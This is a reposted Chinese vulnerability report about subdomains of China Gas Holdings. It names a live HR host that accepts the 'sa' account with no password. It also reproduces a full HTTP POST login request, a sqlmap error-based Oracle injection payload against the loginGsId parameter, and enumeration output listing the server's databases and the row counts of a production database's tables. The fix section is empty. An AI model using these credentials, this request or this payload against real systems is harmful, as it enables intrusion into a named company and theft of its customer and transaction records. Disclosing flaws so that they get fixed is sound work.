首页 » 漏洞 » 中国燃气控股有限公司分站弱口令导致用户/分站POST注入

中国燃气控股有限公司分站弱口令导致用户/分站POST注入

 
code 区域
1.弱口令

http://hr.chinagasholdings.com/

用户名:sa

没有密码

中国燃气控股有限公司分站弱口令导致用户/分站POST注入

code 区域
2.POST注入

POST /zd/qt002loginservlet HTTP/1.1

Host: scm.chinagasholdings.com

Proxy-Connection: keep-alive

Content-Length: 45

Cache-Control: max-age=0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Origin: http://scm.chinagasholdings.com

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 SE 2.X MetaSr 1.0

Content-Type: application/x-www-form-urlencoded

Referer: http://scm.chinagasholdings.com/zd/cc02/cclogin.jsp

Accept-Encoding: gzip,deflate,sdch

Accept-Language: zh-CN,zh;q=0.8

Cookie: JSESSIONID=61B3BD04A445DD425BF08F04E13EC134; JSESSIONID=F3486BBF5CC2B3DDD4BA64F461117636; ADCookie=20111125; gsid=1



loginid=admin&loginpwd=1&loginGsId=1&csr_mac=



loginGsId 注入



sqlmap identified the following injection points with a total of 506 HTTP(s) requests:

---

Parameter: loginGsId (POST)

Type: error-based

Title: Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)

Payload: loginid=admin&loginpwd=1&loginGsId=1' AND 4978=UTL_INADDR.GET_HOST_ADDRESS(CHR(113)||CHR(120)||CHR(122)||CHR(106)||CHR(113)||(SELECT (CASE WHEN (4978=4978) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(107)||CHR(98)||CHR(122)||CHR(113)) AND 'VHTx'='VHTx&csr_mac=

---

web application technology: JSP

back-end DBMS: Oracle

available databases [23]:

[*] APEX_030200

[*] APPQOSSYS

[*] CHZH

[*] CTXSYS

[*] DBSNMP

[*] EXFSYS

[*] FLOWS_FILES

[*] LPGDQ

[*] LPGJQ

[*] MDSYS

[*] OLAPSYS

[*] ORDDATA

[*] ORDSYS

[*] OUTLN

[*] OWBSYS

[*] SAASZHONGYOU

[*] SCMZHONGYOU

[*] SCOTT

[*] SYS

[*] SYSMAN

[*] SYSTEM

[*] WMSYS

[*] XDB



Database: SAASZHONGYOU

+-----------------------------+---------+

| Table | Entries |

+-----------------------------+---------+

| SHOUFU_MINGXI | 6364171 |

| DEPOT_IO_DETAIL | 6100654 |

| ST_CHEDUI_MINGXI | 5491399 |

| WZ_LPG_JIAGE_LISHI | 5359957 |

| SALESTRANS_CHEDUI | 4559707 |

| CHE_DB_MINGXI | 2935734 |

| CHONGZHUANG_SHIJI_MX | 2926824 |

| SCAN_DETAIL | 2734149 |

| STA_RIJIE_KUCUN | 2414768 |

| CHE_DIAOBOGONGDAN | 2156577 |

| CALLLOG | 1398570 |

| STA_RIJIE_XIAOSHOU2 | 1238714 |

| PZQ_ZYMX | 1001474 |

| ST_ZHONGLIANG_MINGXI | 808595 |

| ZJZH_CAOZUOMINGXI | 734980 |

| LOGINHIS_LOG | 731641 |

| ACCOUNT_MONTH_BALANCE | 629913 |

| WZ_LPG_JIAGE_RIZHI | 567315 |

| PZQ_BDLS | 548256 |

| KEHU | 535955 |

| PINGZHUANGQI | 529949 |

| T_LPG_USER | 524463 |

| ZIJINZHANGHU | 484609 |

| BARCODE_CAN_LST | 404229 |

| ZUXIEPING_MX | 350608 |

| CSRLOGINLOG | 249629 |

| STA_RIJIE_DIAOBO | 219269 |

| DB_MINGXI | 143814 |

| RIJIE_JILU | 127368 |

| BARCODE_LOG | 93881 |

| MENDIAN_FY_TYPE | 86116 |

| MENDIAN_TUICAN | 83975 |

| ST_GONGDAN | 68184 |

| SERVICELOG | 67506 |

| YIDONG_CHANGTU_DUIZHAO | 65000 |

| DIAOBOGONGDAN | 63409 |

| INVENTORY_DAY_BOOK | 54054 |

| WZ_LPG_JIAGE | 49778 |

| CUSTOMER_CREDIT_DETAIL | 48341 |

| VOUCHER_ASSISTANT | 45569 |

| VOUCHER_ENTRY | 41947 |

| GANGPING_XIAOSHOU | 38046 |

| KUCUN_JIANKONG | 27845 |

| BUSINESS_REPORT | 27207 |

| QIPING_GUANZHUANG | 25507 |

| PREPAREDVOUCHER | 21699 |

| TRANSFER_LOG | 20123 |

| WZ_LPG_JIAGE_20111017_NEW | 19604 |

| WZ_LPG_JIAGE_20111017 | 19153 |

| BORROW_RECORDS | 17971 |

| BOTTLE_DETECTION | 15481 |

| RUKUDAN | 15016 |

| PURCHASE_ORDER | 14646 |

| VOUCHER | 13925 |

| WZ_LPG_JIAGE_TEMP | 12062 |

| CAOZUO_LOG | 8173 |

| DEPOT_BLN | 6174 |

| WZ_LPG_JIAGE_BAK | 6094 |

| ACCOUNT_PAYABLE_PARTICULARS | 5457 |

| ASSTACTTYPE | 5172 |

| CHONGZHUANGDAN_MX | 5132 |

| KUCUNTIAOZHENG | 5033 |

| INVOICE_INFORMATION | 4665 |

| MENU_ITEM | 4452 |

| CAOZUOGONGDAN | 4393 |

| CLICKNUMTABLE | 4130 |

| DANWEIKEHU | 3962 |

| RETURN_GAS | 3951 |

| DEPOT_BLN_TEMP | 3670 |

| IMPORT_LOG | 3670 |

| ZUXIEPING_MX_LISHI | 3497 |

| INVOICE_BALANCE | 3487 |

| CHENGSHI | 3471 |

| TEST | 3454 |

| SALESTRANS | 3001 |

| CSRGROUP | 2828 |

| ADVANCE_PAYMENT_ACCOUNT_PAR | 2298 |

| RETURNVISIT | 2265 |

| STOCK_TAKING_RECORD | 2253 |

| CHONGZHUANGDAN | 2183 |

| BUSINESSTYPE | 2134 |

| CALL_REASON_LOG | 1925 |

| CSR | 1832 |

| AUTOWRITEOFFLOG | 1466 |

| ACCOUNT_PAYABLE | 1463 |

| TANKSALES | 1346 |

| DB_TUIHUOMINGXI | 1297 |

| "LIMIT" | 1271 |

| STA_RIJIE_SHOUGONG | 1038 |

| QUEST_SOO_EVENT_CATEGORIES | 1002 |

| TESTJOB | 1002 |

| SHENGHUO_YONGQI | 983 |

| IMPORT_UPDATE_LOG | 820 |

| ALLOWANCE | 818 |

| BASIC_CODE | 815 |

| OBJECTDETAIL | 795 |

| VOUCHERTEMPLET_ENTRY | 794 |

| ACCOUNT_TABLE | 771 |

| STA_RIJIE_KUCUN_TEMP | 511 |

| SAMPLE | 494 |

| XINPING_RUKU | 487 |

| ZHISHIKUDIANJILV | 464 |

| DEPORT | 457 |

| T_CO_ORG | 448 |

| BUMEN | 418 |

| RIJIE_RIQI | 400 |

| COST_RECORD | 386 |

| AGENTGROUP | 347 |

| TOUSU | 327 |

| MENDIAN_FY_TYPE_TEMP | 288 |

| STA_RIJIE_XIAOSHOU2_RIZHI | 282 |

| CHELIANG_MINGDAN | 280 |

| WUZI | 278 |

| YUANGONG_ZHUANGTAI | 278 |

| BARCODE_LOG_DETAIL | 276 |

| ORDER_PLAN | 273 |

| CARGADOR_REPORT | 270 |

| COST | 258 |

| VOUCHERTEMPLET_HEADER | 258 |

| ADVANCE_PAYMENT_ACCOUNT | 256 |

| SUPPLIER | 248 |

| OBJECTRALETION | 247 |

| STA_MOBAN_XIAOSHOU | 237 |

| SIJI | 235 |

| CREATEID | 223 |

| STA_MOBAN_DIAOBO | 219 |

| YONGHU_JIBIE | 216 |

| CHELIANG_ATTR | 192 |

| OPERATE_RELATION_DETAIL | 190 |

| STA_MOBAN_IODETAIL | 183 |

| CYLINDER_HANDLING | 175 |

| BOTTLE_INSPECTION | 171 |

| BOTTLE_INSPECTION_DETAIL | 171 |

| DEPOT_WZ | 168 |

| ADJUSTMENT_BILL | 166 |

| BULLETIN | 148 |

| CZ_HAOCAIMINGXI | 130 |

| BASIC_CODE_LIST | 125 |

| WZ_RELATION | 108 |

| PANDIAN_MX | 96 |

| GUAKAODIAN_JIAGE | 89 |

| LPG_MEASURE | 89 |

| ST_TUIHUO | 83 |

| ACCOUNTSOURCEMATCHDEF | 79 |

| INVENTORY | 77 |

| CUSTOMER_CHANGE | 72 |

| STA_MOBAN_KUCUN | 70 |

| PERSONAL_SALES_STATISTICS | 66 |

| CUSTOMEROFTANKSALES | 57 |

| CHANPIN | 42 |

| CHUKUDAN | 41 |

| GONGSI_YINHANG | 40 |

| PZQBD_DETAIL | 40 |

| ZAXIANG_SHEZHI | 40 |

| KNOWLEDGEITEM | 39 |

| DEPORT_TYPE | 36 |

| DIQU | 36 |

| SHENGFEN | 34 |

| ACTTYPE_SOURCE | 33 |

| OPERATE_RELATION | 33 |

| VOUCHERTYPE_BIZ_RELATION | 33 |

| ST_DINGQI | 32 |

| RESULT | 31 |

| GONGSI | 30 |

| TOUSU_FENLEI | 28 |

| IMPORT_DETAIL | 27 |

| STA_MOBAN_SHOUGONG | 25 |

| DIANZICHENG | 22 |

| WZ_LPG_JIAGE_WAIT | 22 |

| CALLTYPE | 21 |

| CAMPAIGN | 21 |

| COMPANY_ATTR | 20 |

| ZHISHIKUSHOUCANGJIA | 20 |

| ANSWER | 19 |

| BUMEN_LEIXING | 19 |

| CHONGZHUANGXIAN | 19 |

| ORDER_CONTRACT | 18 |

| RKD_ZHUANGTAI | 18 |

| CONTRACT | 17 |

| DIANZICHENG_SHOW | 16 |

| DISTRIBUTE_AREA | 16 |

| JIESUAN_DETAIL | 15 |

| QUESTION | 14 |

| ACCOUNT_TYPE | 12 |

| GOODSTYPE | 12 |

| WUZI_LEIBIE | 11 |

| CHONGZHUANGDAN_ZHUANGTAI | 10 |

| LOGIN_LOG | 10 |

| SAMPLEREASON | 10 |

| STORAGE_ALLOCATE_BILL | 10 |

| TREETYPE | 10 |

| CALLREASON | 8 |

| DAO_GUAN | 8 |

| GUANCHANG_CHURUKU_YUANYIN | 8 |

| PDA_ATTR | 8 |

| SHOUFU_LEIXING | 8 |

| CI_PUBLIC_CODE | 7 |

| CSRSKILLPRIORITY | 7 |

| FK_FANGSHI | 7 |

| HETONG_ZHUANGTAI | 7 |

| INIT_PARAMETERS | 7 |

| ORDER_ZHUANGTAI | 7 |

| STORAGE_ALLOCATE_BILL_STATE | 7 |

| ASST_INDIVIDUALIZE_CONF | 6 |

| AUDIT_STATUS | 6 |

| CALLFLAG | 6 |

| CUSTOMISED_ASSISTANT | 6 |

| GROUPPRODUCT | 6 |

| QUESTIONNAIRE | 6 |

| SALESTRANS_PIFA | 6 |

| ST_PIFA_MINGXI | 6 |

| LPG_STOCK_LIST | 5 |

| PERIODTYPE | 5 |

| SETTLEMENT_COMMUTING | 5 |

| SIJI_ZHUANGTAI | 5 |

| TOUSU_ZHUANGTAI | 5 |

| YQZDENGJI | 5 |

| ACDGROUP | 4 |

| CODE_MAINTENANCE | 4 |

| COST_RECORD_STATE | 4 |

| CSRSTATUS | 4 |

| KEHU_LEIXING | 4 |

| LOGIN_TYPE | 4 |

| NUMERAIRE_UNIT | 4 |

| OBSTATUS | 4 |

| SAMPLERESULTSTATE | 4 |

| SELL_PLAN | 4 |

| TASK_TYPE | 4 |

| ASSISTANT_TYPE | 3 |

| CHONGZHUANGXIAN_ZHUANGTAI | 3 |

| CONVEYANCE_MODE | 3 |

| CONVEYANCE_MODE | 3 |

| CREATETYPE | 3 |

| EMERGENCYID | 3 |

| GONGYINGSHANG_YINHANG | 3 |

| LISTING_PRICE_SET | 3 |

| PANDIANQINGDAN | 3 |

| PEISONGFANGSHI | 3 |

| PRODUCTCATEGORY | 3 |

| XIEPINGCZ_JIJIA_FS | 3 |

| XIEPINGCZ_XIAOSHOU_ZT | 3 |

| XINGBIE | 3 |

| YSK_CHONGZHENGBIAOZHI | 3 |

| YUANGONG_LEIXING | 3 |

| ADJUSTMENT_BILL_STATE | 2 |

| ADJUSTMENT_BILL_TYPE | 2 |

| BARCODE_TEMP | 2 |

| CHANPING_ZHUANGTAI | 2 |

| CHONGZHUANGDAN_LEIXING | 2 |

| CHONGZHUANGXIAN_LEIXING | 2 |

| CHUQIGUAN | 2 |

| COSTTYPE | 2 |

| CREATEYQZID | 2 |

| CSRIVR | 2 |

| CUSTOMERIEFLAG | 2 |

| DIANZHICHENG_ZHUANGTAI | 2 |

| FAXJOBTYPE | 2 |

| FAXSTATUS | 2 |

| FILL_CHECK | 2 |

| GONGZUO_KUCUN | 2 |

| GUANZHUANG_MOSHI | 2 |

| IMPORT_TABLE | 2 |

| KHTYPE | 2 |

| MATERIEL_SUB | 2 |

| QUYU | 2 |

| SHOUFU_BIAOZHI | 2 |

| SUPPLIER_TYPE | 2 |

| TAX_TYPE | 2 |

| YESNO | 2 |

| CREATEID_DEPOT_IO_DETAIL | 1 |

| CREATEID_PZQ_ZYMX | 1 |

| CREATEID_SHOUFU_MINGXI | 1 |

| DINGDAN_LEIXING | 1 |

| FACTORY_STOCK | 1 |

| GUAKAODIAN | 1 |

| INVENTORY_TYPE | 1 |

| INVOICE_TYPE | 1 |

| LOAD_METER | 1 |

| PURCHASEORDER_TYPE | 1 |

| QUEST_SOO_PARSE_TIME_TRACK | 1 |

| QUEST_SOO_VERSION | 1 |

| RKD_TYPE | 1 |

| UNIT_TYPE | 1 |

+-----------------------------+---------+

漏洞证明:

RT

修复方案:

原文链接:中国燃气控股有限公司分站弱口令导致用户/分站POST注入,转载请注明来源!

0